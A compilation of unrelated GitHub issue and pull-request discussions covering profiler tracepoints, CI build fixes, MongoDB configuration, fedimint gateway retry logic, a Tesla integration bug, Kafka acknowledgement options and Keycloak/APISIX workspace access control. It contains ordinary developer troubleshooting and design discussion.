Regarding the workaround comment, IMO this is still a better way of representing a splat.  This is explicitly a vector operation, the other implementation was relying on auto vectorization.

I agree this is totally a reasonable/natural impl. I don't really think it's a workaround -- while it's unfortunate that [T; N] isn't always vectorized, it's better to not rely on that to happen.


Unsupported event type when trying to trace with a tracepoint

I was trying to use the ability to use tracepoints on an Ubuntu box, but got an error that it's unsupported.
ubuntu@ip-172-31-44-65:~$ sudo /usr/local/async-profiler/bin/asprof -e 'syscalls:sys_enter_open' -d 30 -f /tmp/flamegraph.html 4144
[ERROR] Unsupported event type

I wasn't sure if the docs had an error so I've also tried this:
ubuntu@ip-172-31-44-65:~$ sudo /usr/local/async-profiler/bin/asprof -e 'trace:syscalls:sys_enter_open' -d 30 -f /tmp/flamegraph-query-processor.html     4144
[ERROR] Unsupported event type

My system info:
ubuntu@ip-172-31-44-65:~$ uname -a
Linux ip-172-31-44-65 6.2.0-1018-aws #18~22.04.1-Ubuntu SMP Wed Jan 10 22:54:16 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

I'm not sure if the issue is my system, my command, or an issue with async profiler.

async-profiler resolves a symbolic name of a kernel tracepoint by reading debugfs filesystem (/sys/kernel/debug).
Typically, only a privileged user can read debugfs. This means, if a Java process runs under a non-root user, it will not be able to resolve tracepoint names. Note that sudo asprof does not help, since resolution happens in the context of a Java process, not in the context of asprof launcher.
A workaround is to resolve the symbolic tracepoint name manually and then pass -e trace:id as an event name.
Here is a sample command:
asprof -e trace:`sudo cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_openat/id` --cstack dwarf -d 30 -f /tmp/flamegraph.html 4144

To simplify profiling tracepoints in the future, I've committed the fix that attempts to resolve tracepoints automatically in asprof. From now on, you can simply run sudo asprof -e syscalls:sys_enter_openat ... even if the target process works under a non-privileged user.

Additional notes:

Make sure /sys/kernel/debug/tracing directory exists. If not, you may need to mount debugfs filesystem:
mount -t debugfs none /sys/kernel/debug
In modern glibc, open() function is usually implemented with openat syscall rather than open. Try profiling syscalls:sys_enter_openat if syscalls:sys_enter_open does not yield meaningful results.


chore(travis): do not repeat build twice

Found travis actually run build twice per each trigger, which caused build turnaround delay. With this PR travis will build once only. Originally time took around ~3min on travis, after this PR it takes around ~2min.

merged with e333a36, thanks @kwonoj!


set bufferMaxEntries to default from config

Copied from prior FRS OCE followup:
'bufferMaxRetries' is set to 0 in routerlicious. This means it disables the command buffering completely and errors out the moment there is no connection available. This has caused a client summary failure and document to be marked as corrupted due to the error "MongoError: no connection available for operation and number of stored operation > 0". CosmosDb on-call engineer suggested to set this value to default => The default value is -1 and this causes to buffer until memory runs out. In this PR make this value configurable and also set it to default. If we see memory issues, we can tweak the value easily.

Thanks for making this change! Hopefully it will make the use of the database more reliable. I made some comments, but a more general suggestion: one pattern we have been using for other dependencies is to provide an object that includes all the configs/overrides for that component. For example, in RdKafka client. In the RdKafkaConsumer, we have defined a type called IKafkaConsumerOptions:
https://github.com/microsoft/FluidFramework/blob/d14fca691933b868b14250321845b5fcfb7bf5d4/server/routerlicious/packages/services-ordering-rdkafka/src/rdkafkaConsumer.ts#L13
Instead of passing each configuration to the Kafka Consumer constructor, we pass an options object instead:
https://github.com/microsoft/FluidFramework/blob/d14fca691933b868b14250321845b5fcfb7bf5d4/server/routerlicious/packages/services-ordering-rdkafka/src/rdkafkaConsumer.ts#L42
We read all those values from config and call the constructor like this:
https://github.com/microsoft/FluidFramework/blob/d14fca691933b868b14250321845b5fcfb7bf5d4/server/routerlicious/packages/services-ordering-rdkafka/src/resourcesFactory.ts#L75-L82
We use that options object to compute the actual options/configs that will be used by the Kafka Consumer. Example: if a config value is not present, we use a default value:
https://github.com/microsoft/FluidFramework/blob/d14fca691933b868b14250321845b5fcfb7bf5d4/server/routerlicious/packages/services-ordering-rdkafka/src/rdkafkaConsumer.ts#L45-L52
I think it might be worth doing something similar for MongoDb. In mongodb.ts, we already have a MongoClientOptions on line 128:
https://github.com/microsoft/FluidFramework/blob/2e75658ae4c20e8a369d0795eb034aa2b69b3073/server/routerlicious/packages/services/src/mongodb.ts#L128
We could do something similar to what we do in RdKafka, and have the MongoDb.ts constructor take an options object. That would help later when we decide to overwrite more MongoDb configs. Instead of having to add yet another parameter to the constructor, we would just update the options object instead. It also help define the default values for options which are not provided.

Discussed offline, created a task for this to address separately


Timing tweaks in shell scripts

Starting the gateway CLN plugin runs the gateway. On run, the gateway attempts to register with a federation. If the federation is not ready, the gateway registration call fails, which in turn would fail the CLN plugin start.
The recent change to encrypt configs at rest (#808) marginally slows down the federation start, which then leads into the situation described above. As a temporary fix, this PR tweaks our sleep timers in the shell scripts we use to orchestrate federation and gateway start by:

delaying CLN1 (with plugin) and CLN2 by 5s each to ensure the federation is started
delaying channel opens by 10s to ensure the CLN instances are up and running

Follow Ups:

[ ] We should look to complete work proposed by #699, such that the gateway does not need a federation configuration at boot, but can register federations later, at runtime. Alternatively
[x] Alternative solution:  We should use retries for the gateway registration  action, instead of relying on timing to sequence the boot process [WIP] - #840

The negative part about fixed delays is that they slow everything down.
Would adding some bounded retries to the code doing connection be a possibility? I think we are going to need them anyway.

Would adding some bounded retries to the code doing connection be a possibility? I think we are going to need them anyway.

Making an attempt now. It's true we'd need a retry/backoff on this registration even when we move it out of the critical path

Making an attempt now. It's true we'd need a retry/backoff on this registration even when we move it out of the critical path

In my experience most of the time a system needs a highest level retry mechanism (https://en.wikipedia.org/wiki/End-to-end_principle) for correctness and lowest-level retry mechanism for performance and practical reasons.

making an attempt now

Some quick lessons:

plain retry for a simple Fn is easy to implement and integrate
retry of a Future is a lot more interesting, in that we have to think about when to resolve the future : should we observe future result before / after the sleep timer begins?
we need to impl a retry Fn, then include backoff strategies
https://crates.io/crates/backoff looks like a neat little lib already doing these things, so we can look into taking a dep

@dpc, I wan't to defer implementation of retry for now, and do a follow up later. Do it proper
Fow now, I'll jump back to other high pri WIs, if we can take a temporary hit from these timing tweaks to slow things down a bit

The @okjodom the simplest retry of a feature is a loop combined with a timeout:
https://github.com/fedimint/fedimint/pull/834/files#diff-518eaa39776f4437cb64e868e4a31b14a31449a3e6e864e2e4048b8b8a591454R456

It's true we'd need a retry/backoff on this registration even when we move it out of the critical path

Once it's out of the start-up path, we might want it to fail fast if the fed isn't available (since we should expect it to be).  We could potentially call await_block_sync in the shell instead of sleeping to ensure the fed has started successfully.

we might want it to fail fast if the fed isn't available (since we should expect it to be).

Interesting. A register call that fails might indicate to the Gateway that the fed is not a reliable business partner. On the other hand, the Gateway probably has done some 'checks' before-hand, and is now convinced of the Feds reliability, such that it willing to retry the registration.

We could potentially call await_block_sync in the shell instead of sleeping to ensure the fed has started successfully.

Seems like a big hack in this case. I see the usage of await_block_sync and all those seem to be in places where we care about the blockchain state. The gateway should not dictate any other kind of federation state (other than 'aliveness') before it can register itself with with the federation.

(since we should expect it to be).

Networks are always unreliable. Mobile users switch from wifi to GSM. A 10 or 15s retry&timeout seems a good default in almost all circumstances.

@okjodom the simplest retry of a future is a loop in a timeout:
https://github.com/fedimint/fedimint/pull/834/files#diff-518eaa39776f4437cb64e868e4a31b14a31449a3e6e864e2e4048b8b8a591454R456

Good pointer, though I couldn't find a way of declaring my timeout for the registration 'task'. As an aside, I like the task based pattern proposed in that PR.
@dpc , I went ahead and implemented a generic retry utility. However, I'm still not able to rely on it to resolve my gateway registration task because I haven't found a pairing for wait Duration and max_retry count that ensures the gateway registration task finds a ready federation.
Some that I will look at later:
# Successful CLN start + GW plugin start, BUT with unsuccessful registration to federation because fed is not ready

$ lightningd --dev-fast-gossip --dev-bitcoind-poll=1 --network regtest --bitcoin-rpcuser=bitcoin --bitcoin-rpcpassword=bitcoin --lightning-dir=$FM_LN1_DIR --addr=<IP_ADDRESS>:9000 --plugin=$FM_BIN_DIR/ln_gateway --fedimint-cfg=$FM_CFG_DIR
2022-10-25T01:21:59.099Z INFO    lightningd: Creating configuration directory /tmp/nix-shell.bw0kZE/tmp.dNfCDkRPe8/ln1/regtest
2022-10-25T01:21:59.455Z INFO    lightningd: Creating database
2022-10-25T01:21:59.551Z UNUSUAL hsmd: HSM: created new hsm_secret file
2022-10-25T01:21:59.668Z INFO    plugin-bcli: bitcoin-cli initialized and connected to bitcoind.
2022-10-25T01:21:59.671Z UNUSUAL lightningd: Waiting for initial block download (this can take a while!)
2022-10-25T01:21:59.715Z INFO    lightningd: --------------------------------------------------
2022-10-25T01:21:59.715Z INFO    lightningd: Server started with public key 03b453b004c698a1800b045ba9bf367e47346c9f615fe6a06b7f54a260588a2981, alias SOMBERSPORK-v0.11.1 (color #03b453) and lightningd v0.11.1
2022-10-25T01:21:59.907Z INFO    plugin-ln_gateway: request; peer=0
2022-10-25T01:21:59.908Z INFO    plugin-ln_gateway: request; peer=1
thread 'main' panicked at 'Failed to register with federation: MintApiError(RpcError(Transport(Error when opening the TCP socket: Connection refused (os error 111))))', /home/okj/fedimint/fedimint/gateway/ln-gateway/src/lib.rs:400:22
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
2022-10-25T01:21:59.909Z INFO    plugin-ln_gateway: request; peer=2
2022-10-25T01:21:59.909Z INFO    plugin-ln_gateway: request; peer=3
2022-10-25T01:21:59.910Z **BROKEN** plugin-ln_gateway: unable to connect to server err=Networking or low-level protocol error: Error when opening the TCP socket: Connection refused (os error 111)
2022-10-25T01:21:59.911Z **BROKEN** plugin-ln_gateway: unable to connect to server err=Networking or low-level protocol error: Error when opening the TCP socket: Connection refused (os error 111)
2022-10-25T01:21:59.912Z **BROKEN** plugin-ln_gateway: unable to connect to server err=Networking or low-level protocol error: Error when opening the TCP socket: Connection refused (os error 111)
2022-10-25T01:22:04.392Z UNUSUAL lightningd: Bitcoin backend now synced.
2022-10-25T01:22:04.874Z INFO    lightningd: Peer says it sees our address as: <IP_ADDRESS>:53466
2022-10-25T01:22:06.403Z INFO    03c2079f5edc33e62087be02b06da0950f5a83407f5b7afb8abcdc10d44489a897-chan#1: State changed from CHANNELD_AWAITING_LOCKIN to CHANNELD_NORMAL

# Successful CLN start + GW plugin start, and registration to federation

$ lightningd --dev-fast-gossip --dev-bitcoind-poll=1 --network regtest --bitcoin-rpcuser=bitcoin --bitcoin-rpcpassword=bitcoin --lightning-dir=$FM_LN1_DIR --addr=<IP_ADDRESS>:9000 --plugin=$FM_BIN_DIR/ln_gateway --fedimint-cfg=$FM_CFG_DIR
2022-10-25T01:04:34.490Z INFO    lightningd: Creating configuration directory /tmp/nix-shell.bw0kZE/tmp.OBqQiOwvoN/ln1/regtest
2022-10-25T01:04:34.858Z INFO    lightningd: Creating database
2022-10-25T01:04:35.038Z UNUSUAL hsmd: HSM: created new hsm_secret file
2022-10-25T01:04:35.426Z INFO    plugin-bcli: bitcoin-cli initialized and connected to bitcoind.
2022-10-25T01:04:35.483Z INFO    lightningd: --------------------------------------------------
2022-10-25T01:04:35.483Z INFO    lightningd: Server started with public key 02f32fcc9e50d220e36019a8cf3d59258d54c0d100d466fb81ab6749e018adbf94, alias REDPENGUIN-v0.11.1 (color #02f32f) and lightningd v0.11.1
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: request; peer=0
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: request; peer=1
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: request; peer=2
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: request; peer=3
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: Connection established to target: Target { sockaddrs: [], host: \"<IP_ADDRESS>\", host_header: \"<IP_ADDRESS>:4021\", _mode: Plain, path_and_query: \"/\" }
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: Connection established to target: Target { sockaddrs: [], host: \"<IP_ADDRESS>\", host_header: \"<IP_ADDRESS>:4031\", _mode: Plain, path_and_query: \"/\" }
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: Connection established to target: Target { sockaddrs: [], host: \"<IP_ADDRESS>\", host_header: \"<IP_ADDRESS>:4001\", _mode: Plain, path_and_query: \"/\" }
2022-10-25T01:04:35.740Z INFO    plugin-ln_gateway: Connection established to target: Target { sockaddrs: [], host: \"<IP_ADDRESS>\", host_header: \"<IP_ADDRESS>:4011\", _mode: Plain, path_and_query: \"/\" }
2022-10-25T01:04:45.132Z INFO    lightningd: Peer says it sees our address as: <IP_ADDRESS>:59024
2022-10-25T01:04:47.446Z INFO    02c21e35641d0812046668cbd3355f17a7b71983856fcfbf051e5c7f16ce49c211-chan#1: State changed from CHANNELD_AWAITING_LOCKIN to CHANNELD_NORMAL
...

Networks are always unreliable.

True, but that should be handled at the network layer.  The client will establish a wss connection then wait for a success from a threshold of peers.  If we cannot establish a connection to at least the threshold number of peers then likely the federation is down or the network is down.  Better to give the gateway user fast feedback when they cannot register their gateway IMO.
Since we are dealing with a federation there's also different strategies we can choose depending on the request.  See https://github.com/fedimint/fedimint/blob/master/client/client-lib/src/api.rs#L282-L289
We should eventually make it configurable for clients to pass in different strategies to the same API call depending on the use.  That's how we could handle a retry in the future.

@jkitman , @dpc , I have a WIP pr which attempts retries from within the gateways context. I'll catch up later on what direction we want to take with the retry pattern.
For now, I am proposing we proceed with the timing tweaks to unblock higher pri GW work items. Note: This PR slows down tmuxinator shell script by 15s

Engaged auto-merge, and restarted failing build.

Codecov Report
Base: 58.23% // Head: 58.22% // Decreases project coverage by -0.01% :warning:

Coverage data is based on head (ed8963d) compared to base (67b8510).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff             @@
##           master     #838      +/-   ##
==========================================
- Coverage   58.23%   58.22%   -0.02%
==========================================
  Files         101      101
  Lines       16293    16293
==========================================
- Hits         9489     9487       -2
- Misses       6804     6806       +2

Impacted Files
Coverage Δ

gateway/ln-gateway/src/lib.rs
38.72% <ø> (ø)

fedimint-server/src/net/peers.rs
90.02% <0.00%> (-1.47%)
:arrow_down:

fedimint-api/src/core.rs
72.45% <0.00%> (-0.28%)
:arrow_down:

fedimint-server/src/net/connect.rs
95.26% <0.00%> (+0.24%)
:arrow_up:

client/client-lib/src/query.rs
94.73% <0.00%> (+3.15%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Replace watchify with budo, remove 'build' command.

A suggestion for #4.
Thoughts:

Having a server lets me test examples from a phone / cardboard, which I can't do on the filesystem.
Live-reload is convenient.
I don't think it's necessary to have a separate build step, or to generate "build.js" files at all - budo can serve the compiled JS in place of "main.js" without needing a new file.

watchify-server could similarly be used, but doesn't include live reload.

Thanks!


API breakage in version 2022.36 (it does not seem to include charge_to_max_range anymore)

Version of the custom_component
2.4.3

Describe the bug
API breakage in version 2022.36, it does not seem to include charge_to_max_range anymore
This causes crash that also causes other entries becoming unavailable
I have created a patch for this on teslajsonpy that fixes this issue, see https://github.com/zabuldon/teslajsonpy/pull/351
Debug log

Traceback (most recent call last):
  File "/usr/src/homeassistant/homeassistant/helpers/update_coordinator.py", line 151, in _handle_refresh_interval
    await self._async_refresh(log_failures=True, scheduled=True)
  File "/usr/src/homeassistant/homeassistant/helpers/update_coordinator.py", line 283, in _async_refresh
    self.async_update_listeners()
  File "/usr/src/homeassistant/homeassistant/helpers/update_coordinator.py", line 110, in async_update_listeners
    update_callback()
  File "/config/custom_components/tesla_custom/tesla_device.py", line 129, in refresh
    self.tesla_device.refresh()
  File "/usr/local/lib/python3.10/site-packages/teslajsonpy/homeassistant/charger.py", line 121, in refresh
    self.__maxrange_state = data["charge_to_max_range"]
KeyError: 'charge_to_max_range'

Has your battery_sensor also become unknown?
Since I updated to 2020.36.1 the charge level for the car battery has become ‘unavailable’. Is this the case for you too @mariogrip?

My battery sensor is 'unknown' since yesterday, may be even earlier, but the car was away from home for 2 days. ( "Home Assistant 2022.10.2, Supervisor 2022.09.1, Operating System 8.5, Frontend 20221006.0 - latest")

Yes, this is a sideeffekt of this.
Could we maybe bring in the fix @alandtse seems like more people stubble om this issue now

Sure, please submit a PR bumping the dependency.

Did this fix the issues @jaymunro and @anhaff?

Did this fix the issues @jaymunro and @anhaff?

I'd also had the same issue and this has resolved it for me.  Thanks all.

Yes, thank you all.

Yes, battery % is once again reporting in correctly. Nice work.


Leaderboard: setup project

Created Leader board structure using HTML and CSS
used git-flow, linters for code clean and used the webpack.

Hi @Santosh-Konappanavar
While you made a great effort in this project, unfortunately, I cannot proceed to review your code.
Invalid Code Review Request
You have submitted a project, that does not have a descriptive readme
Kindly use the updated version  of the microverse readme template for your readme
Your Code Review Request will be marked as invalid in your Dashboard, so please submit a new one once you are ready 🙏
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification @prolajumokeoni.
Please, do not open a new Pull Request for re-reviews. You should use the same Pull Request submitted for the first review, either valid or invalid unless it is requested otherwise.

Invalid Code Review Request does not count into the code reviews limit.


Improve API for specifying number of required ACKs

Currently, users need to pass in a number as the value of required_acks. If the number is greater than zero, it is interpreted as the number of replicas (the leader included) that must acknowledge the write before the request succeeds (not greater than the actual number of replicas.) If the number is -1, then all replicas must ACK. If the number is 0 then none need to ACK, not even the leader, and no response is sent back to the client (fire-and-forget).
Having the user need to understand these numbers is not good for usability, so I think we should use meaningful names instead. Maybe use a new parameter name for this, e.g. durability or consistency.

none – no durability guarantees.
one – at least one replica (the current leader) has acknowledged the write.
quorum – a majority of replicas have acknowledged the write.
all – all replicas have acknowledged the write.

@osheroff @bsandvik what do you think makes sense here? I feel that specifying required_acks as an integer is confusing, but should the option be called durability, consistency or something else entirely? I guess that since Kafka is single-master (per partition,) it's not a matter of consistency – so long as the value is not none, in which case we could in theory be writing to the wrong broker, erroneously thinking it is the leader...

durability is fine.  Do note the tradeoff between cleaner semantics and masking what's really going on under the hood, though; arcane parameters are bad but having library consumers understand kafka's replication model is good.

 Thanks!

@dasch we could maybe ask the kafka mailing list how they feel about this? It'd be nice to have consistency and human friendliness across all the APIs.

Yeah, that's probably a good idea. I've sort of parked this for now, as I've been more focused on resilience and performance work.

Since the default has been changed to :all, I'm going to close this. People changing the setting should have read up on the semantics.


Interested in owning ours?

Hi,
A while ago, we needed a library to talk to spanner and a few other GCP services. We worked with some folk over at GCP to get a rust library that builds off of the GRPC models made. We've been the custodian for it since, mostly because, well, nobody else wanted it, and we had the need.
I'll admit, it feels a bit weird for us to support this, and while it works and does what we need, I wouldn't call it well polished. Hopefully, it's enough to get your effort properly kick-started at least.
(Sorry for not reaching out earlier, but I just discovered this effort yesterday.)

Sorry for the late response. We only recently restated work on a Google Cloud SDK for Rust.
The short answer is no. We have  chosen a different approach from the one taken by mozilla-services/google-cloud-rust.  We did look at that implementation (and many others!) before starting to build a SDK from scratch.  The decision to build a new SDK is a reflection on the features or quality of the existing SDKs that the community has developed.
We are sure those other SDKs are great.  We hope to make ours so good that people will want to migrate.
As to the rationale.  I cannot share a lot of details, but in brief: we have needs for consistent tooling across SDKs in different languages, we have plans beyond Rust, and we have requirements around software supply chain that are easier to meet if the bulk of the code is developed and reviewed by Google employees.

Hah! No harm in asking.
Very interested in seeing what y'all do and how we can switch over to using it.
Best of luck and hope it's fun!


We need a doc explaining that we don't have the data on policy docs before certain dates

This concern arose from working on the internal policy dashboards. If we don't have the scraped data prior to a certain date we need to have a note about this on the dashboard. This is so that people who are using the dashboard don't just see the dates and assume that there were no policy docs before a certain date. While I know this sounds unlikely, at very least we will leave them feeling a bit uncertain about the data. This is particularly important when comparing between when the research was published and when it was cited.  Would it be possible to have a note of this somewhere in the policytool repo, from which I can copy into a Tableau dashboard note? Tagging everyone this is relevant to.

Kudos for opening up an issue. I think @SamDepardieu is in the best position to answer this but as far as I am aware, the dates that documents are available pretty much depend on the organisation so it seems more like a dashboard design issue than a software engineering one.

Yup, we had a chat about it this morning. I agree that it's a good idea.
Here's a sum up of what I answered to this issue this morning, to give you a track of what need to be done in order to get these stats:
It’s a bit tricky, because not all orgs have the same starting year for their docs or an option to choose the starting year:
 * I can say for WHO (it's in the settings file)
 * I can look into the database for Nice
 * Gov should also be in the DB or in the settings
 * We’re not scraping the publication date for unicef/parliament/msf, if I remember well, so the only way to know it is to check on their websites the year of their first publication

@nsorros we're quite limited by Tableau so the only way of informing the user of what dates are missing is a note about it. Otherwise, we might have something like a greyed out area.
Just a few lines explaining the dates we start scraping the data for different orgs would be great.


implementation Prerequisites into template

Is it possible to implement the [Prerequisites](https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/diagnostics-linux#prerequisites) into template? Thanks.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 13249027-1524-dd0c-9d83-15a9733a3d19
Version Independent ID: bf8a2d1a-8d9b-228a-6919-16127f315d40
Content: Azure Compute - Linux Diagnostic Extension
Content Source: articles/virtual-machines/extensions/diagnostics-linux.md
Service: virtual-machines-linux
GitHub Login: @abhijeetgaiha
Microsoft Alias: agaiha

@kazshi Can you please clarify on your ask?
From my understanding, in the prerequisites section, there are links provided to help you out on each prerequisite.

@Karishma-Tiwari-MSFT Sorry for my unclear question. I would like to know if it's possible to configure the prerequisites in the template (like "extensionProfile" sample in the other feedback) and how to make it if it's possible. Thanks.

@kazshi I think you can create a custom template but that may not cover all prerequisites, for example, installing Azure CLI. If you want to deploy multiple VMs with Linux Diagnostic Extension, I think it would be better to create a custom image with all the prerequisites installed on it.
I think forums like Stack overflow will be a better place for this question as there is whole community out there to help out with custom scenarios.

@kazshi We will now close this issue. If there are further questions regarding this matter, please reopen it and we will gladly continue the discussion.

@Karishma-Tiwari-MSFT OK, thanks!


How to set wallpaper?

Hi sorry if its a dumb question but I have no wallpaper and I dont get how to set up properly the wallpaper

Both sway and hyprland uses swaybg as wallpaper handler in my config.
You can manually set a wallpaper with
swaybg --output '*' --mode fill --image /path/to/yout/wallpaper &

In the ~/.config/hypr/scripts/startup script and in the ~/.config/sway/config file.
If you use my config, there should be a script to switch between wallpapers you want without editing yourself the configs by using Meta+LeftShift+B. You just need to put the wallpapers you want inside the ~/.config/sway/backgrounds directory.
If you want to change the wallpapers directory, go inside ~/.config/hypr/scripts/background and ~/.config/sway/scripts/background-swap.sh and replace the
BACKGROUND_DIR="$HOME/.config/sway/backgrounds"

line with
BACKGROUND_DIR="path/to/your/wallpapers/directory"

I'm closing that issue. If you still need help, I'll reopen it.


Add Next Button - CheckAttribute(s)(Upload)

Add Next button that redirects to #37 .
Time estimate: 1D
Check story #36 for more details/context.

Done.


IAM <-> Workspace integration for initial workspace provisioning

A request for a new workspace can come from different sources:

One common way is through the operator’s website when a user purchases a subscription plan or resource hours.
Another possibility is through an email from NoR granting sponsorship for a specific project.
...

The request will typically include details like the project name, the subscription/resources granted (such as storage quotas, compute/mem limits or overall hourse, gpu yes/no, ...) and the email address of the designated project owner.
Task-WS1) Extend with email of project owner
Once the platform operator receives such a request, they review and provision it. This is automated by the (configurable) EOEPCA provisioning pipeline, creating

the necessary storage resources, such as an S3 bucket,
resources on Kubernetes (e.g. with a dedicated Namespace and Resource-Quotas) and
the required (configured) deployments for the workspace (e.g. the Workspace UI)

As discussed, the pipeline should also create a new group in Keycloak using the project name and associate the user (whose email was provided in the request as owner) with this new Keycloak group. By convention the Keycloak group and Workspace name should match, the concrete Project Name should be an attribute on the Keycloak group.
Current Assumption: the user has already registered and already exists in the system (will be tracked in separate GitHub Issue TBD)
Task-IAM1) IAM BB to setup properly scoped client allowing the provisioning pipeline to execute these actions, i.e. with ability to list and create groups in Keycloak, associate users within a group, and check if a user already exists in the system
Task-WS2) Workspace BB to automate theses actions within the provisioning pipeline
Access to the workspace and its resources needs to be controlled. Only users who are part of the Keycloak group associated with the project should be allowed to access the deployments to the workspace. To achieve this, the pipeline can automatically create a properly configured Kubernetes Ingress Object (or custom CRD). If necessary the provisioning pipeline can also create additional "resources" (like a policy) on Keycloak side
Task-IAM2) IAM BB to specify what needs to be created
Task-WS3) Workspace BB to implement accordingly

We have concluded that Keycloak groups will represent teams and be used to manage the "user association" with workspaces. Note that the association is many-to-many (i.e., workspaces can be accessed by multiple users, and users can belong to multiple workspaces).
Sign-off:

The workspace owner’s email should be stored, meaning the email must be provided during provisioning and stored in Workspace Kubernetes manifest
A Keycloak group with the workspace name should be automatically created during provisioning.
The user (who we assume already exists for now) should be associated with this newly created Keycloak group.
Access to workspace API endpoints will only be allowed through the authorized route, with restricted access for others. (Note: This should be purely on IAM BB side via APX-Ingress)
Access to the workspace UI (deployed per team) will be restricted to users belonging to the respective team. (Note: The Ingress creation has to be automated in Workspace BB but needs help of IAM BB on what must be created in Keycloak and put into APX Ingress object)

I generally agree with your comment above.
I assume that there is a 1:1:1 relationship between teams, groups and workspaces, i.e. each workspace has exactly one associated group whose members are the members of the associated team. Of course additional groups may exist for other purposes.
Regarding points 4 and 5:
I assume that it will be necessary to create a separate client for each workspace UI and preconfigure it appropriately. Depending on what turns out to be most suitable, the client could be created through OIDC dynamic client regstration, the Identity API or the Keycloak API. This client would only be used by the route for the authN/authZ process. Workspace instances would still access Keycloak via the workspace-bb client.
I assume that it may be necessary to configure a resource in Keycloak for each workspace API. This is at least the clean way to express separate protection domains, and I am not really sure if more fine-grained protection than on resource level is actually feasible in Keycloak.
If we want to avoid configuring too many resources in Keycloak or generally need more fine-grained authorization on the ingress level (which might be necessary for shared links), we may have to consider adopting the APISIX-OPA plugin (https://apisix.apache.org/docs/apisix/plugins/opa/).

thanks for your fast response, comments inline
I generally agree with your comment above.
I assume that there is a 1:1:1 relationship between teams, groups and workspaces, i.e. each workspace has exactly one associated group whose members are the members of the associated team. Of course additional groups may exist for other purposes.

Yes, matches my understanding
Regarding points 4 and 5:
I assume that it will be necessary to create a separate client for each workspace UI and preconfigure it appropriately. Depending on what turns out to be most suitable, the client could be created through OIDC dynamic client regstration, the Identity API or the Keycloak API. This client would only be used by the route for the authN/authZ process. Workspace instances would still access Keycloak via the workspace-bb client.
I assume that it may be necessary to configure a resource in Keycloak for each workspace API. This is at least the clean way to express separate protection domains, and I am not really sure if more fine-grained protection than on resource level is actually feasible in Keycloak.
If we want to avoid configuring too many resources in Keycloak or generally need more fine-grained authorization on the ingress level (which might be necessary for shared links), we may have to consider adopting the APISIX-OPA plugin (https://apisix.apache.org/docs/apisix/plugins/opa/).

I assume the need for multiple Keycloak clients arises from handling different domains, correct? Keycloak doesn’t seem to support subdomain whitelisting with something like *.develop.eoepca.org, does it?
If not, we could explore making these workspace UI deployments accessible under different subpaths within the same domain? That approach should work, right?
I understand the rationale behind point 5, but why do you see the need for dynamic clients also for point 4?

A single Keycloak client can span multiple domains, but it is probably cleaner to add a client for each new domain than to update an existing client by adding URLs again and again. I tried to specify a base URL with wildcard or no base URL at all, but (as expected) this does not work. Keycloak allows wildcards for the path, but apparently not for the host part of the URL.
For subpaths, no separate clients are needed (though they would be possible). So a single client for all API(s) and another one for all UIs should be sufficient if all UIs share the same DNS name. This also implies that there is no need for dynamic client registration in this case.

so regardless which strategy we will follow, we need to not just authenticate the user but also check if he is allowed to access the url based on the user<->group association
lets assume we have userA and userB associated to team ws-team4, what must be setup upfront in keycloak and how does the K8s kind: ApisixRoute will then look like for https://ws-test4.develop.eoepca.org resp. https://develop.eoepca.org/ws-test4?
talking to the team I'm also afraid that the subroute path won't generally work as many applications will expect to be served at root path (for sure we can adapt for workspace-ui but there will be also other applications deployed in future so same problem then...)
can you prepare a setup with keycloak, ?OPA policy if needed?, ApisixRoute please and we will try to automate during workspace provisioning- do you agree and does that make sense to you?

Let me first check if my understanding is roughly correct:
There is an existing (unprotected) workspace instance at https://ws-test4.develop.eoepca.org. For this instance, I'd create a corresponding ApisixRoute at https://ws-test4.apx.develop.eoepca.org and configure it so that it only allows users who are members of the corresponding Keycloak group. However, it need not enforce any more fine-grained restrictions, at least for now.
I assume that https://develop.eoepca.org/ws-test4 is just the path-pased alternative to the other URL (and not the WS API URL).
You wrote that the path-based approach would require adaptations to the workspace UI and may also cause problems with other applications. So this is obviously not the preferred approach and we should focus on the DNS-based one first.
I'll try to create a reasonable example setup for the DNS-based variant by tomorrow afternoon.

Let me first check if my understanding is roughly correct:
There is an existing (unprotected) workspace instance at https://ws-test4.develop.eoepca.org. For this instance, I'd create a corresponding ApisixRoute at https://ws-test4.apx.develop.eoepca.org and configure it so that it only allows users who are members of the corresponding Keycloak group. However, it need not enforce any more fine-grained restrictions, at least for now.

Thanks & yes, correct (https://ws-test4.develop.eoepca.org will just be a new Workspace-UI deployment specifically for team ws-test4)
Let's forget the path based routing here for the Workspace-UI.
Just to clarify - there will be one separate dedicated Workspace-UI Deployment for each team, but there will only be one central Workspace-API Deployment in the cluster - this Workspace-API Deployment is mainly used to retrieve credentials for the team, e.g. to access the buckets (e.g. user triggers Processing BB and this component will impersonate user to get credentials via HTTP GET workspace-api>/workspaces/ and uploads results there - my understanding at the moment at least)

to explore for the WorkspaceUI we manually applied
apiVersion: apisix.apache.org/v2
kind: ApisixRoute
metadata:
  name: ws-test4
  namespace: ws-test4
spec:
  http:
    - name: ws-test4
      match:
        hosts:
          - ws-test4.apx.develop.eoepca.org
        paths:
          - /*
      backends:
        - serviceName: ws-test4
          servicePort: 8080

can you create a user in keycloak and associate it with group ws-test4, then only this user should have access
feel free to adapt accordingly directly in the cluster (it is for testing so not in ArgoCD as it would be reconciled otherwise)
similar to what @rconway configured for the /docs  route on the ApisixRoute for the WorkapceAPI we also need to make some routes like https://ws-test4.apx.develop.eoepca.org/share/* (e.g. https://ws-test4.apx.develop.eoepca.org/share/MAfNY4Aw) publicly accessible for the WorkspaceUI
